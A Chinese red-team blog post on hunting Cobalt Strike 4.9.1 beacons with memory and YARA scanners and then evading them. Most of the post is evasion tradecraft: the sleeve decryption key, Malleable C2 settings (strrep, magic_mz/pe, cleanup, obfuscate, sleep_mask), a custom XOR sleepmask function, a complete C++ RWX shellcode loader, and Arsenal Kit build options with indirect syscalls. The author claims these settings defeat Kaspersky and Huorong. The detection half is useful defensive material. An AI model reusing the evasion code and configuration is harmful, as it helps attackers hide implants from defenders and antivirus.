CobaltStrike的狩猎与反狩猎
0x01 前言
又到了xxx的时间了,在对红队基础设施的准备时写下的这篇文章
0x02 开始狩猎
CobaltStrike版本:4.9.1
不做任何配置启动teamserver
使用默认配置的生成x64位beacon,上线pid为3040
0x021 BeaconEye
BeaconEye 的核心原理是通过扫描CobaltStrike中的内存特征,并进行Beacon Config扫描解析出对应的Beacon信息
BeaconEye是基于.NETFramework 4.8框架开发的,至少需要.net4.0以上,为了解决真实环境下低版本服务器没有.net4.0以上的环境,可以使用EvilEye替代BeaconEye,EvilEye是Golang版本的BeaconEye
我目前使用的测试环境为Windows Server 2008,所以直接使用EvilEye进行检测,可以看到能直接从内存中提取出Beacon的信息
0x022 Hunt-Sleeping-Beacons
Hunt-Sleeping-Beacons项目的主要功能是帮助广大研究人员在运行时或其他正在运行进程的上下文场景中识别休眠的Beacon
可以看到Hunt-Sleeping-Beacons可以检测出异常的进程,但是我在实际测试中发现无法对x86进程进行检测
0x023 Yara
Yara是一个旨在(但不限于)帮助恶意软件研究人员识别和分类恶意软件样本工具
Elastic安全公司开源检测CobaltStrike的yara规则
Google GCTI开源检测CobaltStrike的yara规则
使用Elastic的yara规则检测beacon,可以看到命中了6条规则
使用-s参数打印出匹配的字符串
0x024 Hollows_Hunter
hollows_hunter用于扫描所有正在运行的进程,识别各种潜在的恶意植入物,如替换/植入的PE、shellcode、挂钩(hook)以及内存中的修补程序等
顺带提一嘴,Hollows_Hunter的作者Aleksandra Doniec在我看来是一位顶尖的安全研究员,开源了pe_to_shellcode、process_overwriting等优秀的作品,真正左右手互博
通过hollows_hunter可以很轻松的检测到一些异常的进程
0x03 反狩猎
针对以上问题,CobaltStrike官方在博客中提供了一些解决方法
0x031 Yara bypass
0x0311 字符串处理
可以看到Windows_Trojan_CobaltStrike_ee756db7匹配了很多字符串,我决定先看看这些字符串都是从哪里来的。
CobaltStrike在4.x之后,会把资源文件加密存放到cobaltstrike-client端的sleeve目录中,需要使用CrackSleeve对资源文件进行解密
CobaltStrike4.9.1的key如下,需要自行替换一下
private static byte[] OriginKey = {-1, 12, -6, 65, 7, -47, 91, 48, 17, 61, 29, 43, -99, -23, 21, 109};
private static byte[] CustomizeKey = {-1, 12, -6, 65, 7, -47, 91, 48, 17, 61, 29, 43, -99, -23, 21, 109};
对cobaltstrike-client及解密的Resource进行搜索,最后在default.profile发现了结果,而且与Windows_Trojan_CobaltStrike_ee756db7匹配的规则一致
把他复制出来,并删除stage里面内容作为Malleable-C2来使用,重新启动server,生成beacon上线
再次使用yara检测发现字符串匹配特征已经少了很多,但是还有一些存在
既然profile中的特征已经去除了,那么剩余的规则要么在原始beacon.dll中存在,要么就是生成的exe时出现的特征,先看看原始beacon.dll吧,使用yara单独对文件进行检测,可以明显的看到,确实是在原始beacon.dll中存在的特征
针对这种情况,CobaltStrike提供了可以从profile中使用strrep来替换指定的字符串,把其中的一个特征替换为空
transform-x64 {
strrep "beacon.x64.dll" "";
}
再次生成beacon,运行发现ee756db7规则直接就消失了
???我看了一下Windows_Trojan_CobaltStrike_ee756db7的判定规则,发现该规则需要至少6个命中才会判定
虽然这种方法简单且有效,但是从实际考虑来说,我们不应该全部都这么做,因为无法确定其他安全公司使用的规则,如果修改了判断规则为3个你只修改其中一个,那肯定是不行的,并且有些格式化字符串也不应该直接修改,否则可能会给程序带来不可意料的结果,如Windows_Trojan_CobaltStrike_3dc22d14中还检测了一些格式化字符串
当然也不是没有解决方法。那就是sleepmask kit套件,后面会详细介绍
0x0312 MZ头/PE头处理
可以看到Windows_Trojan_CobaltStrike_1787eef5的特征为4D 5A,很明显该处检测的是MZ
可以从内存中看到,确实存在该特征
针对这种情况,CobaltStrike提供了可以在profile中配置 Stage.magic_mz_*
/Stage.magic_pe_*
对其进行修改
官方建议:需要注意的是,对于magic_mz_* 选项,提供的值必须是有效的(无)操作码,因为它们是作为shellcode存根的一部分执行的第一条指令。通常情况下,这将是pop regA,push regA
的某种变体,因为后一条指令撤消了第一条指令,但请参阅此处以获得有关配置此选项的更多指导
修改mz头
set magic_mz_x86 "KC@H"; # ASM = dec ebx, inc ebx,inc eax, dec eax
set magic_mz_x64 "A[AS"; # ASM = pop r11, push r11
修改pe头
set magic_pe "AR"; # 随机的两个值
修改完成后在内存中的效果
使用yara进行检测的前后对比
然而,这种修改方式是有限的,因为我们在每种情况下只能修改几个字节,所以显然更健壮的YARA签名仍然会触发
同时官方还提供了一个Stage.stomppe用于轻微混淆内存中的 beacon dll,但是我在测试发现设置stomppe为true时,PE头中的仅仅在特征处增加了一个IMAGE_FILE_RELOCS_STRIPPED
未设置stomppe时
从微软的文档来看,我并不能明白这么做有什么好处,感觉很鸡肋,比较了解的师傅们回答我一下
0x0313 清理反射加载器
当Beacon被反射加载到内存中时,它会导致两个内存分配:原始Beacon DLL(实际上将执行shellcode存根和反射加载器函数)和虚拟Beacon DLL(正确加载到内存中并准备就绪)
在内存中的情况如下,RWX存储器区域对应于虚拟信标DLL,而RX区域则对应于原始信标DLL
同时原始信标DLL中也存在可疑字符串。这些都可以通过内存中的YARA扫描找到
前面的是原始beacon,后面的是配置strrep “beacon.x64.dll” “";去除字符串后的内存,还应该把ReflectiveLoader这个非常明显的特征给去除掉
扯远了,回到正题,针对这种情况,CobaltStrike提供了可以在profile中配置Stage.cleanup选项为true,对原始Beacon DLL进行清除,
仅保留虚拟Beacon DLL,一旦启动Beacon,就不再需要原始Beacon DLL了
set cleanup "true";
清理前后的内存对比
yara检测结果如下,很明显清除原始beacon dll后有些检测已经从2个变成一个了
0x0314 配置混淆
通过配置Stage.obfuscate为true,可以实现反射加载器复制Beacon,而不带它的DLL头,这就意味着在内存中无法再找到反射加载程序存根,而且这个选项还会混淆:
- .text section
- Section names
- Import table
- Dos/Rich Header (this is technically not masked but overwritten with random data)
大概的示例图如下:
这项设置可移除Beacon堆中的绝大部分字符串
set obfuscate "true";
后面是配置obfuscate为true的内存,可以看到直接去除掉了dll头部
yara检测设置obfuscate为true的前后对比
0x0315 Sleep_Mask
官方解释如下:
在启用Sleep_Mask之前,先了解一下userwx配置
set userwx "false";
反射加载时是否要把内存设置为可读可写可执行,默认为RWX,设置为false时内存设置为RX
然后配置启用sleep_mask
set sleep_mask "true";
正如官方所说,确实对字符串进行了加密,但是会多出一条新的规则,很明显sleep_mask默认的规则已经被检测了
在内存中也确实找到了这个规则
不是说sleep_mask会屏蔽自己吗?其实这项规则恰恰匹配的就是sleep_mask屏蔽的方法,如下图所示
使用arsenal-kit的sleepmask进行配置
在common_mask.c中自定义我们的算法
/* My a beacon section
* First call will mask
* Second call will unmask
*/
void my_mask_section(SLEEPMASKP * parms, DWORD a, DWORD b) {
char key[] = "cf81d743beef8422";
size_t key_lenght = sizeof(key) - 1;
while (a < b) {
*(parms->beacon_ptr + a) ^= key[a % key_lenght];
a++;
}
}
最后重新构建并重新加载.cna脚本,以使更改生效
yara检测使用自定义算法的beacon,最后只剩一条特征了
在内存中默认算法和自定义加密算法的对比
0x0316 加载器特征去除
0x03161 shellcode loader
最后的这个特征,其实是生成exe时附带的。如果使用shellcode loader进行上线这一个部分就不需要更改了
不过使用shellcode loader要注意需要对存放shellcode的内存进行加密或者清理,非常简单的代码,主要是为了演示
#include<iostream>
#include<windows.h>
#include<fstream>
using namespace std;
int main()
{
// shellcode raw
char filePath[] = "./payload_x64.bin";
ifstream file(filePath, ios::binary | ios::ate);
if (!file) {
return -1;
}
int fileSize = file.tellg();
file.seekg(0, ios::beg);
char* buffer = new char[fileSize];
if (!file.read(buffer, fileSize))
{
return -2;
}
void* exec = VirtualAlloc(0, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buffer, fileSize);
// 对buffer进行加密
string key = "cf81d743beef8422";
for (int i = 0; i < fileSize; i++)
{
buffer[i] = buffer[i] ^ key[i % key.length()];
}
((void(*)())exec)();
return 0;
}
效果如下
0x03161 源码修改
当然如果你追求完美,可以接着往下看,不过首先说明,通过套件的方式进行修改的只能在生成exe文件的时候有效,shellcode还是需要使用完成在内存进行加密
首先先定位一下特征,我直接使用ida对该字节码进行搜索
伪代码看一下,看起来是//./pipe/MSSE-随机整数-server的通道生成
在CobaltStrike的博客中有提到这个问题,指明了可以通过Artifact Kit中的src-common/bypass-pipe.c进行修改
当然,如果你不想使用多余的套件,可以自行反编译修改并打包原始beacon.dll进行
我这边就演示在bypass-pipe.c中进行修改,注释部分的是Artifact Kit中默认的,该方法也已经被yara标记了,我做的只是简单的字符串隐藏
因为使用了arsenal-kit中的artifact-kit和sleepmask-kit,所以直接修改arsenal-kit配置文件生成一个套件即可
修改的位置如下:
- /arsenal-kit/kits/artifact/build.sh:49-51行,给它注释掉就不会报错了
- /arsenal-kit/arsenal_kit.config:16行,设置include_sleepmask_kit=“true”,因为还启用了sleepmask-kit
接下来是Artifact kit options和Sleepmask kit options,根据实际情况修改即可
#### Artifact kit options
artifactkit_technique="pipe"
artifactkit_allocator="HeapAlloc"
artifactkit_stage_size=310272
artifactkit_include_resource="false"
artifactkit_stack_spoof="false"
artifactkit_syscalls_method="indirect"
#### Sleepmask kit options
sleepmask_version="49"
sleepmask_sleep_method="WaitForSingleObject"
sleepmask_mask_text_section="true"
sleepmask_syscalls_method="indirect"
运行/arsenal-kit/build_arsenal_kit.sh生成即可,生成后的路径为/arsenal-kit/dist/
加载该套件,重新生成beacon,运行上线,使用yara对进程进行检测,可以看到和shellcode loader上线一样是检测不到的
以上是x64的修改,x86也同样适用,不过x86需要额外修改一下2个位置
-
/arsenal-kit/kits/artifact/src-common/bypass-pipe.c中的DWORD server_thread(LPVOID whatever) 方法
打乱一下它的结构就行
-
/arsenal-kit/kits/artifact/src-common/patch.c
也是打乱一下结构
0x04 效果测试
其实到了这一步已经能解决狩猎中的所有检测了
yara静态检测
yara内存检测
BeaconEye/EvilEye
Hunt-Sleeping-Beacons
Hollows_Hunter
配合shellcode loader对抗大部分杀软了
卡巴内存扫描
火绒
0x05 结语
到此为止,配合一下自定义的Malleable-C2足以应付大部分红队场景,如果还想进一步,建议配合unhook、堆栈欺骗等技术
嘿嘿,如果你以为这就结束了,那就错了,如果说我针对Artifact Kit套件进行yara打标呢?以下是我找另一位师傅拿的它自己制作好的免杀马,上面是Elastic的检测,下面是自己针对Artifact Kit套件写的规则
https://blog.aruiredteam.com/posts/cobaltstrike%E7%9A%84%E7%8B%A9%E7%8C%8E%E4%B8%8E%E5%8F%8D%E7%8B%A9%E7%8C%8E/